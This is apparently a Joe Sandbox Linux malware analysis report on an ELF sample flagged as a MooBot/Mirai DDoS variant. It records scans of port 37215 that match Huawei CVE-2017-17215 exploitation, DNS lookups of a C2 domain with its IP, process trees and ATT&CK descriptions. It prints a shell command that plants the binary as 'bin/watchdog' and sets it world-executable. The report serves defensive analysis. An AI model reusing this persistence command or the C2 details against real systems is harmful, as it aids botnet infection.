Mar 20, 2023 15:59:46.357553005 CET	42836	443	192.168.2.23	91.189.91.43
Mar 20, 2023 15:59:46.832477093 CET	1535	37215	192.168.2.23	108.23.15.161
Mar 20, 2023 15:59:46.832549095 CET	1535	37215	192.168.2.23	41.165.92.99
Mar 20, 2023 15:59:46.832602978 CET	1535	37215	192.168.2.23	104.153.167.161
Mar 20, 2023 15:59:46.832648039 CET	1535	37215	192.168.2.23	41.42.145.5
Mar 20, 2023 15:59:46.832719088 CET	1535	37215	192.168.2.23	41.20.140.65
Mar 20, 2023 15:59:46.832736969 CET	1535	37215	192.168.2.23	41.64.209.101
Mar 20, 2023 15:59:46.832808971 CET	1535	37215	192.168.2.23	197.140.236.98
Mar 20, 2023 15:59:46.832837105 CET	1535	37215	192.168.2.23	157.244.59.153
Mar 20, 2023 15:59:46.832858086 CET	1535	37215	192.168.2.23	157.97.202.233
Mar 20, 2023 15:59:46.832937002 CET	1535	37215	192.168.2.23	197.213.2.53
Mar 20, 2023 15:59:46.832948923 CET	1535	37215	192.168.2.23	41.108.8.168
Mar 20, 2023 15:59:46.832988024 CET	1535	37215	192.168.2.23	151.205.68.245
Mar 20, 2023 15:59:46.833002090 CET	1535	37215	192.168.2.23	197.255.112.187
Mar 20, 2023 15:59:46.833028078 CET	1535	37215	192.168.2.23	157.160.174.21
Mar 20, 2023 15:59:46.833122015 CET	1535	37215	192.168.2.23	197.253.197.212
Mar 20, 2023 15:59:46.833165884 CET	1535	37215	192.168.2.23	132.62.148.240
Mar 20, 2023 15:59:46.833179951 CET	1535	37215	192.168.2.23	12.57.136.99
Mar 20, 2023 15:59:46.833251953 CET	1535	37215	192.168.2.23	186.31.201.229
Mar 20, 2023 15:59:46.833280087 CET	1535	37215	192.168.2.23	157.175.42.37
Mar 20, 2023 15:59:46.833297014 CET	1535	37215	192.168.2.23	197.202.60.226
Mar 20, 2023 15:59:46.833338022 CET	1535	37215	192.168.2.23	41.64.226.37
Mar 20, 2023 15:59:46.833365917 CET	1535	37215	192.168.2.23	197.26.253.120
Mar 20, 2023 15:59:46.833425045 CET	1535	37215	192.168.2.23	197.113.57.36
Mar 20, 2023 15:59:46.833447933 CET	1535	37215	192.168.2.23	197.82.51.24
Mar 20, 2023 15:59:46.833777905 CET	1535	37215	192.168.2.23	57.109.182.87
Mar 20, 2023 15:59:46.833796024 CET	1535	37215	192.168.2.23	197.167.145.206
Mar 20, 2023 15:59:46.833820105 CET	1535	37215	192.168.2.23	197.227.157.64
Mar 20, 2023 15:59:46.833848953 CET	1535	37215	192.168.2.23	41.179.174.37
Mar 20, 2023 15:59:46.833914042 CET	1535	37215	192.168.2.23	197.85.238.20
Mar 20, 2023 15:59:46.833946943 CET	1535	37215	192.168.2.23	73.165.229.133
Mar 20, 2023 15:59:46.833983898 CET	1535	37215	192.168.2.23	197.154.6.95
Mar 20, 2023 15:59:46.834052086 CET	1535	37215	192.168.2.23	41.194.99.37
Mar 20, 2023 15:59:46.834063053 CET	1535	37215	192.168.2.23	157.166.106.157
Mar 20, 2023 15:59:46.834084034 CET	1535	37215	192.168.2.23	41.161.169.80
Mar 20, 2023 15:59:46.834112883 CET	1535	37215	192.168.2.23	41.88.149.180
Mar 20, 2023 15:59:46.834131002 CET	1535	37215	192.168.2.23	197.25.122.189
Mar 20, 2023 15:59:46.834181070 CET	1535	37215	192.168.2.23	157.91.173.234
Mar 20, 2023 15:59:46.834197998 CET	1535	37215	192.168.2.23	157.53.184.138
Mar 20, 2023 15:59:46.834224939 CET	1535	37215	192.168.2.23	157.26.172.56
Mar 20, 2023 15:59:46.834259033 CET	1535	37215	192.168.2.23	157.204.227.45
Mar 20, 2023 15:59:46.834300995 CET	1535	37215	192.168.2.23	157.15.82.229
Mar 20, 2023 15:59:46.834517002 CET	1535	37215	192.168.2.23	157.251.194.205
Mar 20, 2023 15:59:46.834547043 CET	1535	37215	192.168.2.23	79.178.176.109
Mar 20, 2023 15:59:46.834587097 CET	1535	37215	192.168.2.23	197.199.28.116
Mar 20, 2023 15:59:46.834594965 CET	1535	37215	192.168.2.23	197.255.52.105
Mar 20, 2023 15:59:46.834727049 CET	1535	37215	192.168.2.23	157.127.210.180
Mar 20, 2023 15:59:46.834758043 CET	1535	37215	192.168.2.23	41.13.33.224
Mar 20, 2023 15:59:46.834822893 CET	1535	37215	192.168.2.23	41.223.156.180
Mar 20, 2023 15:59:46.834849119 CET	1535	37215	192.168.2.23	182.83.22.166
Mar 20, 2023 15:59:46.834950924 CET	1535	37215	192.168.2.23	197.34.53.56
Mar 20, 2023 15:59:46.834975004 CET	1535	37215	192.168.2.23	197.190.66.222
Mar 20, 2023 15:59:46.835010052 CET	1535	37215	192.168.2.23	41.224.156.109
Mar 20, 2023 15:59:46.835035086 CET	1535	37215	192.168.2.23	209.212.113.30
Mar 20, 2023 15:59:46.835074902 CET	1535	37215	192.168.2.23	41.143.38.129
Mar 20, 2023 15:59:46.835099936 CET	1535	37215	192.168.2.23	18.1.233.177
Mar 20, 2023 15:59:46.835129023 CET	1535	37215	192.168.2.23	197.69.152.42
Mar 20, 2023 15:59:46.835161924 CET	1535	37215	192.168.2.23	41.58.171.0
Mar 20, 2023 15:59:46.835174084 CET	1535	37215	192.168.2.23	197.21.64.242
Mar 20, 2023 15:59:46.835196018 CET	1535	37215	192.168.2.23	157.205.222.221
Mar 20, 2023 15:59:46.835211039 CET	1535	37215	192.168.2.23	197.240.161.132
Mar 20, 2023 15:59:46.835233927 CET	1535	37215	192.168.2.23	157.108.232.109
Mar 20, 2023 15:59:46.835262060 CET	1535	37215	192.168.2.23	197.89.166.81
Mar 20, 2023 15:59:46.835285902 CET	1535	37215	192.168.2.23	216.34.3.69
Mar 20, 2023 15:59:46.835309029 CET	1535	37215	192.168.2.23	41.43.139.65
Mar 20, 2023 15:59:46.835329056 CET	1535	37215	192.168.2.23	157.171.54.124
Mar 20, 2023 15:59:46.835372925 CET	1535	37215	192.168.2.23	197.198.147.97
Mar 20, 2023 15:59:46.835395098 CET	1535	37215	192.168.2.23	157.56.100.50
Mar 20, 2023 15:59:46.835417986 CET	1535	37215	192.168.2.23	32.196.123.107
Mar 20, 2023 15:59:46.835443974 CET	1535	37215	192.168.2.23	157.85.243.10
Mar 20, 2023 15:59:46.835469961 CET	1535	37215	192.168.2.23	41.152.244.247
Mar 20, 2023 15:59:46.835500956 CET	1535	37215	192.168.2.23	184.199.41.192
Mar 20, 2023 15:59:46.835535049 CET	1535	37215	192.168.2.23	67.232.166.126
Mar 20, 2023 15:59:46.835561991 CET	1535	37215	192.168.2.23	41.209.49.128
Mar 20, 2023 15:59:46.835591078 CET	1535	37215	192.168.2.23	163.198.50.144
Mar 20, 2023 15:59:46.835613012 CET	1535	37215	192.168.2.23	41.219.5.134
Mar 20, 2023 15:59:46.835633039 CET	1535	37215	192.168.2.23	41.81.255.113
Mar 20, 2023 15:59:46.835671902 CET	1535	37215	192.168.2.23	153.139.178.236
Mar 20, 2023 15:59:46.835699081 CET	1535	37215	192.168.2.23	107.251.18.105
Mar 20, 2023 15:59:46.835724115 CET	1535	37215	192.168.2.23	197.26.152.231
Mar 20, 2023 15:59:46.835772038 CET	1535	37215	192.168.2.23	197.89.224.214
Mar 20, 2023 15:59:46.835800886 CET	1535	37215	192.168.2.23	157.215.74.158
Mar 20, 2023 15:59:46.835824013 CET	1535	37215	192.168.2.23	41.68.189.93
Mar 20, 2023 15:59:46.835874081 CET	1535	37215	192.168.2.23	157.247.249.84
Mar 20, 2023 15:59:46.835897923 CET	1535	37215	192.168.2.23	157.52.242.6
Mar 20, 2023 15:59:46.835936069 CET	1535	37215	192.168.2.23	157.203.31.65
Mar 20, 2023 15:59:46.835994005 CET	1535	37215	192.168.2.23	41.59.75.104
Mar 20, 2023 15:59:46.836019993 CET	1535	37215	192.168.2.23	41.120.113.154
Mar 20, 2023 15:59:46.836052895 CET	1535	37215	192.168.2.23	41.72.62.52
Mar 20, 2023 15:59:46.836077929 CET	1535	37215	192.168.2.23	148.40.162.183
Mar 20, 2023 15:59:46.836103916 CET	1535	37215	192.168.2.23	76.202.191.68
Mar 20, 2023 15:59:46.836149931 CET	1535	37215	192.168.2.23	157.193.163.186
Mar 20, 2023 15:59:46.836177111 CET	1535	37215	192.168.2.23	157.32.3.105
Mar 20, 2023 15:59:46.836241007 CET	1535	37215	192.168.2.23	197.203.164.65
Mar 20, 2023 15:59:46.836271048 CET	1535	37215	192.168.2.23	41.170.187.146
Mar 20, 2023 15:59:46.836271048 CET	1535	37215	192.168.2.23	41.158.241.252
Mar 20, 2023 15:59:46.836288929 CET	1535	37215	192.168.2.23	197.221.139.5
Mar 20, 2023 15:59:46.836375952 CET	1535	37215	192.168.2.23	197.204.102.129
Mar 20, 2023 15:59:46.836411953 CET	1535	37215	192.168.2.23	219.89.123.50
Mar 20, 2023 15:59:46.836438894 CET	1535	37215	192.168.2.23	197.38.164.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 15:59:46.829796076 CET	192.168.2.23	8.8.8.8	0xa123	Standard query (0)	j.xnyidc.top	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:00:49.089428902 CET	192.168.2.23	8.8.8.8	0xb38e	Standard query (0)	j.xnyidc.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 15:59:47.205801010 CET	8.8.8.8	192.168.2.23	0xa123	No error (0)	j.xnyidc.top		156.224.24.249	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:00:49.369513035 CET	8.8.8.8	192.168.2.23	0xb38e	No error (0)	j.xnyidc.top		156.224.24.249	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: lD25Z9LfKe.elf PID: 6224, Parent PID: 6126

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/tmp/lD25Z9LfKe.elf
Arguments:	/tmp/lD25Z9LfKe.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: lD25Z9LfKe.elf PID: 6226, Parent PID: 6224

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/tmp/lD25Z9LfKe.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: sh PID: 6226, Parent PID: 6224

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/lD25Z9LfKe.elf bin/watchdog; chmod 777 bin/watchdog"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6228, Parent PID: 6226

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: rm PID: 6228, Parent PID: 6226

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/usr/bin/rm
Arguments:	rm -rf bin/watchdog
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Analysis Process: sh PID: 6229, Parent PID: 6226

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: mkdir PID: 6229, Parent PID: 6226

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/usr/bin/mkdir
Arguments:	mkdir bin
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Analysis Process: sh PID: 6230, Parent PID: 6226

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: mv PID: 6230, Parent PID: 6226

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/usr/bin/mv
Arguments:	mv /tmp/lD25Z9LfKe.elf bin/watchdog
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Analysis Process: sh PID: 6231, Parent PID: 6226

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: chmod PID: 6231, Parent PID: 6226

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/usr/bin/chmod
Arguments:	chmod 777 bin/watchdog
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Analysis Process: lD25Z9LfKe.elf PID: 6232, Parent PID: 6224

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/tmp/lD25Z9LfKe.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: lD25Z9LfKe.elf PID: 6234, Parent PID: 6232

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/tmp/lD25Z9LfKe.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: lD25Z9LfKe.elf PID: 6236, Parent PID: 6232

General

Start time:	15:59:45
Start date:	20/03/2023
Path:	/tmp/lD25Z9LfKe.elf
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Source: lD25Z9LfKe.elf	Virustotal: Detection: 60%			Perma Link
Source: lD25Z9LfKe.elf	ReversingLabs: Detection: 61%

Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.23:33891 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47796 -> 156.224.24.249:56999
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 156.224.24.249:56999 -> 192.168.2.23:47796
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57718 -> 41.34.164.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40848 -> 34.117.1.253:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33038 -> 197.234.59.68:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35290 -> 197.214.98.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32970 -> 41.237.49.241:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46324 -> 103.167.148.132:37215
Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.23:59786 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47828 -> 156.224.24.249:56999
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 156.224.24.249:56999 -> 192.168.2.23:47828
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42302 -> 41.37.68.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38528 -> 41.234.87.51:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59180 -> 141.117.56.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55414 -> 20.28.196.139:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45430 -> 197.39.222.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52042 -> 41.236.241.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57754 -> 192.119.137.74:37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 108.23.15.161
Source: unknown	TCP traffic detected without corresponding DNS query: 41.165.92.99
Source: unknown	TCP traffic detected without corresponding DNS query: 104.153.167.161
Source: unknown	TCP traffic detected without corresponding DNS query: 41.42.145.5
Source: unknown	TCP traffic detected without corresponding DNS query: 41.20.140.65
Source: unknown	TCP traffic detected without corresponding DNS query: 41.64.209.101
Source: unknown	TCP traffic detected without corresponding DNS query: 197.140.236.98
Source: unknown	TCP traffic detected without corresponding DNS query: 157.244.59.153
Source: unknown	TCP traffic detected without corresponding DNS query: 157.97.202.233
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.2.53
Source: unknown	TCP traffic detected without corresponding DNS query: 41.108.8.168
Source: unknown	TCP traffic detected without corresponding DNS query: 151.205.68.245
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.112.187
Source: unknown	TCP traffic detected without corresponding DNS query: 157.160.174.21
Source: unknown	TCP traffic detected without corresponding DNS query: 197.253.197.212
Source: unknown	TCP traffic detected without corresponding DNS query: 132.62.148.240
Source: unknown	TCP traffic detected without corresponding DNS query: 12.57.136.99
Source: unknown	TCP traffic detected without corresponding DNS query: 186.31.201.229
Source: unknown	TCP traffic detected without corresponding DNS query: 157.175.42.37
Source: unknown	TCP traffic detected without corresponding DNS query: 197.202.60.226
Source: unknown	TCP traffic detected without corresponding DNS query: 41.64.226.37
Source: unknown	TCP traffic detected without corresponding DNS query: 197.26.253.120
Source: unknown	TCP traffic detected without corresponding DNS query: 197.113.57.36
Source: unknown	TCP traffic detected without corresponding DNS query: 197.82.51.24
Source: unknown	TCP traffic detected without corresponding DNS query: 57.109.182.87
Source: unknown	TCP traffic detected without corresponding DNS query: 197.167.145.206
Source: unknown	TCP traffic detected without corresponding DNS query: 197.227.157.64
Source: unknown	TCP traffic detected without corresponding DNS query: 41.179.174.37
Source: unknown	TCP traffic detected without corresponding DNS query: 197.85.238.20
Source: unknown	TCP traffic detected without corresponding DNS query: 73.165.229.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.154.6.95
Source: unknown	TCP traffic detected without corresponding DNS query: 41.194.99.37
Source: unknown	TCP traffic detected without corresponding DNS query: 157.166.106.157
Source: unknown	TCP traffic detected without corresponding DNS query: 41.161.169.80
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.149.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.25.122.189
Source: unknown	TCP traffic detected without corresponding DNS query: 157.91.173.234
Source: unknown	TCP traffic detected without corresponding DNS query: 157.53.184.138
Source: unknown	TCP traffic detected without corresponding DNS query: 157.26.172.56
Source: unknown	TCP traffic detected without corresponding DNS query: 157.204.227.45
Source: unknown	TCP traffic detected without corresponding DNS query: 157.15.82.229
Source: unknown	TCP traffic detected without corresponding DNS query: 157.251.194.205
Source: unknown	TCP traffic detected without corresponding DNS query: 79.178.176.109
Source: unknown	TCP traffic detected without corresponding DNS query: 197.199.28.116
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.52.105
Source: unknown	TCP traffic detected without corresponding DNS query: 41.13.33.224
Source: unknown	TCP traffic detected without corresponding DNS query: 41.223.156.180
Source: unknown	TCP traffic detected without corresponding DNS query: 182.83.22.166
Source: unknown	TCP traffic detected without corresponding DNS query: 197.34.53.56

Source: lD25Z9LfKe.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lD25Z9LfKe.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report lD25Z9LfKe.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: lD25Z9LfKe.elf PID: 6224, Parent PID: 6126

General

Analysis Process: lD25Z9LfKe.elf PID: 6226, Parent PID: 6224

General

Analysis Process: sh PID: 6226, Parent PID: 6224

General

Analysis Process: sh PID: 6228, Parent PID: 6226

General

Analysis Process: rm PID: 6228, Parent PID: 6226

General

Analysis Process: sh PID: 6229, Parent PID: 6226

General

Analysis Process: mkdir PID: 6229, Parent PID: 6226

General

Analysis Process: sh PID: 6230, Parent PID: 6226

Linux Analysis Report
lD25Z9LfKe.elf